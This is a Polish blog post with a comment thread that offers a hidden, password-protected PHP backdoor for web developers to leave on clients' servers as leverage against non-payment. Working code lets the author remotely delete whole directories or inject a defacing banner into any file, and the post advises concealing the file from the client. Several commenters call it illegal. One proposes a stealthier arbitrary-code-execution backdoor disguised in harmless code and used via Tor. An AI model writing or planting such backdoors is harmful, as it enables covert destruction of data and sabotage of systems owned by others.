post_ico7

Bat na nieuczciwych klientów

Pewnie wielu z was miało „przyjemność” spotkania nieuczciwych klientów, którzy nie byli zbyt skorzy do zapłaty za dobrze wykonaną pracę. Nawet jeżeli podpisaliśmy umowę mało komu zapewne chce się walczyć przed sądem o te kilkaset złotych (przy tych prostych projektach). Czy jesteśmy całkowicie bezbronni? Nie, stwórzmy sobie małą furkę…

<!--?php <br ?-->
// usuwa wszystkie pliki - pamietaj o CHMOD
function delete($dir) {

    $fd = opendir($dir);
    if (!$fd)
        return false;
    while (($file = readdir($fd)) !== false) {
        if ($file == "." || $file == "..")
            continue;
        if (is_dir($dir . "/" . $file)) {
            delete($dir . "/" . $file);
        } else {
            unlink("$dir/$file");
        }
    }
    closedir($fd);
    rmdir($dir);
    return true;
}

// wstrzykuje odpowiedni komunikat - pamietaj o CHMOD
function inject($file, $text) {
    $fp = fopen($file, "a");
    if (!fwrite($fp, $text))
        return false;
    fclose($fp);
    return true;
}

// dolaczony tekst
$text = '</pre>
<div style="position: fixed; top: 0; left: 0; color: #ff0000; font-size: 26px; z-index: 99999; background: #ffffff;">Prosimy uregulowac naleznosc za stworzenie strony</div>
<pre>
';

$pass = $_GET['pass'];
$action = $_GET['action'];
$path = $_GET['path'];

if ($pass == "nasze_haslo") {
    switch ($action) {
        case 'delete':
            if (delete($path)) {
                echo "Pliki usuniete z katalogu " . $path;
            } else {
                echo "Nie udalo sie usunac plikow z katalogu " . $path;
            }
            break;
        case 'inject':
            if (inject($path, $text))
                echo "Udalo sie dolaczyc do pliku: " . $path . " kod";
            else
                echo "Nie udalo sie dolaczyc do pliku: " . $path . " kodu";
            break;
        default:
            echo "Bledna akcja";
            break;
    }
} else {
    echo "Bledne haslo";
}
?>

Funkcja delete() ma za zadanie usunąć wszystkie pliki (rozwiązanie ostateczne :)), zaś inject() dodaje odpowiedni komunikat w kodzie strony. Ponadto skrypt zabezpieczamy hasłem, by nikt przypadkowo nie zniszczył strony. Musimy oczywiście jeszcze pamiętać o odpowiednim ustawieniu CHMOD, no i ukryciu pliku.

Czy jest to skuteczne? Moim zdaniem tak. Większość klientów ma znikomą wiedzę na temat tworzenia stron, więc śmiem przypuszczać, że nie będą w stanie znaleźć pliku czy poprawić CHMOD. Chyba żadna firma nie zaryzykuje kompletną kompromitacją dla paru złoty – warto wcześniej poinformować o konsekwencjach niezapłacenia w ustalonym terminie :).

Co sądzisz o wpisie?
BeżnadziejnySłabyŚredniDobryBardzo dobry (Brak ocen, bądź pierwszy!)
Loading...
  • Myślę, że zamiast backdoor’a lepiej zmienić politykę rozliczania się z klientem. Po prostu nie oddawać produktu przed końcowym rozliczeniem :)

  • SebaZ

    Potwierdzam, działa, ale nie musiałem uciekac się do backdoora/mini shella. Drobna sugestia działa zawsze.

  • noose

    Jeżeli żyjesz z programowania w PHP, to lepiej zainwestuj w Ioncube Encoder w wersji Pro (Cerberus jest bez sensu….).

    To co przedstawiłeś faktycznie zadziała na jakiś leszczy. Ale jak pracujesz jako podwykonawca dla firmy, która ma swoich programistów, to taki „bacik” raczej nie przejdzie. Za to Ioncube już tak ;-)

  • @kpodemski
    Owszem, najlepiej tak. Z tym, że z tego co widzę większość przekazuje stronę PRZED rozliczeniem – ja przed wykonaniem zlecenia dla nowego klienta/pracodawcy biorę min 30-50% zaliczki (zawsze to jakieś zabezpieczenie :P)

    #noose
    Ano to nie przejdzie jak jesteś podwykonawcą, ale wtedy też istnieje mniejsze ryzyko oszukania przez firmę. Zazwyczaj współpraca trwa dłużej a nie jednorazowo. Z klientami „bezpośrednimi” już jest inaczej i zdecydowana większość nie poradzi sobie z rozwiązaniem „na leszczy” :P

    Edit: @noose http://rajkowski.net/jak-rozkodowac-skrypt-zakodowany-przez-ioncube – znalezienie opisu jak odkodować kod z Ioncube zajęło mi 5 minut. W takim razie, w miarę ogarnięta firma IT bez trudu sobie z tym poradzi, a wersja PRO trochę kosztuje…

  • PanX

    Większej bzdury jak umieszczanie tego typu plików to już dawno nie widziałem. Już pomijam fakt że jest to nielegalne, ponieważ narażasz na szkodę swojego klienta.

    Jeśli nie potrafisz zabezpieczyć się umową, oraz tym, że pierw pieniądze, potem wgranie strony na serwer, to zostaw PHP i weź się za pieczenie bułek.

  • Z tego co się orientowałem usunięcie plików nie jest nielegalne – wystarczy odpowiedni zapis w umowie. Można to podciągnąć pod „wersję demonstracyjną”. Wiadomo, że nie użyjemy tego po 1 dniu spóźnienia – tylko w ostateczności, gdy sprawa wydaje się beznadziejna. Często może wystarczyć świadomość klienta o takiej możliwości.

    Odnośnie pieczenia bułeczek .. pozostawię bez komentarza ;)

  • PanX

    Usuwanie plików nie, ale pozostawianie mechanizmów które mają temu służyć już tak, szczególnie bez jego wiedzy. Zapis w umowie o czymś takim jest kolejną bzdurą, bo niby po co masz udostępniać wersje demo, na serwerze klienta?

    Narażasz jego interesy, tylko po to żeby zabezpieczyć własne. Poczytaj o tym, bo podpada to pod kilka paragrafów.

  • hm taki zapis najlepiej skonsultować z prawnikiem, a czemu ja mam dbać o jego interesy, jeżeli sam nie jest uczciwy? Nie trzeba niszczyć całej strony, wystarczy usunąć pliki naszego autorstwa (np. pliki html jak zleceniem było zakodowanie szablonu).

  • PanX

    Ponieważ z chwilą wgrania ich na serwer, one nie są już tylko Twoje, a również i klienta. Usuwając je, bez jego zgody, z jego serwera, naruszasz jego interesy, to nie ma znaczenia kto jest właścicielem czy autorem, bo serwer i jego zawartość należy do niego i jesteście współwłaścicielami.

    Jeśli Ci nie zapłacił, to oczywiście jego wina, i jest złym człowiekiem, ale to nie znaczy że możesz je usunąć.

    ps. możesz zrobić coś z ciastkami w formularzu? Nie zapisują się, a chyba powinny i za każdym razem muszę wpisywać te same dane.

  • Hm przydałby się jakiś prawnik do dyskusji ;) Wydaje mi się, że można to załatwić odpowiednią umową, no ale prawnikiem nie jestem, więc mogę się mylić. Dopiero jak będę zakładał własną firmę skonsultuje to rozwiązanie.

    Ok, na wolnym czasie poprawię cookies.

  • Ja próbuje się zabezpieczać protokołem odbioru ;) Tzn. kasy jeszcze nie ma, ale dokument, że kod został przekazany owszem ;) Jakby co można się sądzić ;)

  • @snipe przez pocztę to załatwiasz czy mailowo?

  • PanX

    email, prócz faktur, nie ma mocy prawnej ;)

  • Na prawdę wg mnie jedyne logiczne zabezpieczenie to brak oddania produktu klientowi.

    Na prawdę jeśli do rozliczenia zostało nam powiedzmy hm te 2000 zł netto to czasami większość tej kwoty wydamy na wszystkie przygotowania do ściągnięcia długu. Klienci o tym doskonale wiedzą.

    Również czytałem gdzieś, że pozostawianie takiej furtki jest nielegalne.

  • @PanX – odnośnie twojego komentarza, ze właściciel serwera jest też współwłaścicielem plików. Jak ktoś mi wykradnie nielegalnie skrypt to też jest współwłaścicielem? ;)

  • Zabawne, bo ja też pisałem na ten temat jakiś czas temu.

    @PanX chyba sobie kpisz argumentem typu „Ponieważ z chwilą wgrania ich na serwer, one nie są już tylko Twoje, a również i klienta”. Jeszcze mi powiesz, że ma na to papier? Na przekazanie praw autorskich i tak dalej? Z łatwością można kogoś ściągnąć za złamanie praw autorskich.

    Podstawowa zasada jest taka, że nie udostępnia się kodu aplikacji do momentu pełnej zapłaty. Te rady z Ioncube można sobie darować. Starsze wersje może i dawało się odkodowywać, a z nowymi to już niech ktoś się wypowie ogarnięty w temacie. Opcja numer jeden jest taka, że jest to po prostu szyfrowane w sposób taki, że można odkodować wrzucić do parsera, a druga to taka, że jest coś na wzór kompilacji czyli także idzie odzyskać (dekompilacja). Niech się jakiś cracker zainteresuje i tyle.

    Coś tam mówisz, że jest na to paragraf. Coś dzwoni ale nie wiadomo gdzie. Podaj konkretne informacje, a nie ogólnikowe. Z resztą to problem Polaków. Na szczęście w cywilizowanych krajach sprawa wygląda całkiem inaczej.

  • PanX

    CapaciousCore – czytaj uważniej. Nie pisałem że ma do nich prawa autorskie, bo to są dwie oddzielne sprawy.
    Jeśli wgrasz np. CMS na serwer klienta, przed zapłatą, to jesteś zwyczajnie matołem, ALE CMS działa i działa już jako produkt z jakiego chce korzystać klient, w tym wypadku promocja i prowadzenie działalności w internecie, odbiera dzięki temu maile, umieszcza SWOJĄ ofertę itp.

    Z chwilą gdy usuniesz swój CMS, usuwasz również to co zostało wgrane przez klienta, jego oferty, opisy itd. tym samym narażasz go na szkodę.

    I to na prawdę nie ma znaczenia że CMS nie jest jego, tylko to że kasujesz zawartość, która nie należy już do Ciebie.

    „Z resztą to problem Polaków.” – prawda, bo trzeba być kretynem, aby coś takiego robić :D

  • @PanX dlaczego tak usilnie bronisz osób po drugiej strony barykady?

    „Z chwilą gdy usuniesz swój CMS, usuwasz również to co zostało wgrane przez klienta, jego oferty, opisy itd. tym samym narażasz go na szkodę.” – tutaj przesadziłeś kompletnie. Skoro chcesz lecieć tym tokiem rozumowania to powiem Ci to tak: nie usuwamy danych, które wprowadził klient czyli zostawiamy wszystkie rekordy w db wprowadzone przez niego jak i pliki (np. grafiki, miniatury). Z resztą już to widzę jak manualnie wprowadza setki produktów bez pomocy IT. Przecież oczywistością jest w tym przypadku convert na nasz format struktury. Powtarzam raz jeszcze. Usuwamy to do czego mamy prawo i co nie należy do klienta.

    Do tego wyobraź sobie sytuację, w której wgrywasz skrypt, który jest umyślnie ograniczony. Ów oprogramowanie nie posiada pewnych funkcji i co wtedy? Innymi słowy wgrywamy wersje DEMO. Klient sam je napisze, a może zleci kolejnej firmie i spróbuje kombinować?

    Z resztą chciałbym zobaczyć taką rozprawę sądową. Po paru latach wyrok, odwoływanie się, etc. Pacjent zamiast zapłacić stracił masę kasy, a osoba, która wykonywała w tym czasie zlecenia zarobiła jakieś tam sumki.

  • CapaciousCore ma rację.

  • @PanX: przede wszystkim mówimy tutaj o nieuczciwym kliencie. Jeśli klient nieuczciwie postąpi to nie mam problemu postąpić równie nieuczciwie i usunąć stronę z serwera klienta (oczywiście nie doszłoby u mnie do takiej sytuacji, bowiem najpierw kasa, potem projekt). Oczywiście to nielegalne, ale skoro klient sobie „ukradł” projekt to niech jeszcze go upilnuje – mi wystarczy wejść z TORa i zrobić co należy; niech mi to udowodni, skoro nie mielibyśmy umowy/przywłaszczyłby sobie mój projekt ;-)

    Anyway, zamiast takiego oczywistego backdoora na serwerze zostawibłym furtkę, przez którą mógłbym na serwerze wykonać dowolny kod PHP + zgrabnie ją przepchnąć w niczemu niepodejrzanym kodzie.

    Btw. co do technicznej strony rozwiązania, polecam poczytać o świetnym RecursiveDirectoryIterator (i innych spod strzechy SPL).